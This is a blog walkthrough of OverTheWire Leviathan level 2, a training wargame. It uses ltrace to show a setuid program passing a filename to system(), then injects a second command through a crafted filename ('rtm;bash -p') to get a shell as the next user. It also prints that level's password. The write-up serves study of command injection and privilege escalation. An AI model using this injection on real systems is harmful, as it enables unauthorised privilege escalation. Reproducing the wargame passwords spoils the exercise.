rtmoran.org — Cybersecurity and Linux Resource

OverTheWire Leviathan – Level 2


When listing leviathan2‘s user directory we again find an ELF 32-bit executable, printfile, with the SETUID bit set.

ltrace output:

leviathan2@leviathan:~$ ltrace ./printfile '/etc/leviathan_pass/leviathan2'
 __libc_start_main(0x804852b, 2, 0xffffd764, 0x8048610 
 access("/etc/leviathan_pass/leviathan2", 4)      = 0
 snprintf("/bin/cat /etc/leviathan_pass/lev"…, 511, "/bin/cat %s", "/etc/leviathan_pass/leviathan2") = 39
 geteuid()                                        = 12002
 geteuid()                                        = 12002
 setreuid(12002, 12002)                           = 0
 system("/bin/cat /etc/leviathan_pass/lev"…ougahZi8Ta
 --- SIGCHLD (Child exited) ---
 <… system resumed> )                           = 0
 +++ exited (status 0) +++

Reviewing the ltrace, it can be determined:

  1. ./printfile accepts a filename argument.
  2. /bin/cat is used to output the requested file.
  3. access() checks if user leviathan2 has sufficient permissions.
  4. A string is prepared using snprintf(), concatenating /bin/cat with the supplied argument.
  5. setreuid() sets the real and effective UID of leviathan3.
  6. system() call supplied with the above string.

Attempting to run the printfile executable supplied with leviathan3‘s password file we are met with an error:

leviathan2@leviathan:~$ ltrace ./printfile '/etc/leviathan_pass/leviathan3'
 __libc_start_main(0x804852b, 2, 0xffffd764, 0x8048610 
 access("/etc/leviathan_pass/leviathan3", 4)      = -1
 puts("You cant have that file…"You cant have that file…
 )               = 27
 +++ exited (status 1) +++

This is because, the C access() function fails before it can even attempt the system() call. The access() function checks if the RUID (Real User ID), not the EUID (Effective User ID), has sufficient permissions to access the requested file. In this case, user leviathan2 does not have the necessary permissions to access a file owned by leviathan3.

Going forward, we would like to exploit the way in which the system() call is being supplied by the snprintf() function. We know that we need to supply an initial argument of a file that at least belongs to user leviathan2.

Using this bit of information, we can touch a file in a writable directory (/tmp/), taking advantage of how the shell separates commands; ; or &&.

touch /tmp/'rtm;bash -p'
* -p option used to retain permissions

Having sufficient access() permissions to the above file will get us over the first hurdle, where system() will then execute first, /bin/cat /tmp/rtm, followed by bash -p using the EUID of leviathan3.


leviathan3 : Ahdiemoo1j

Leave a Reply

Your email address will not be published. Required fields are marked *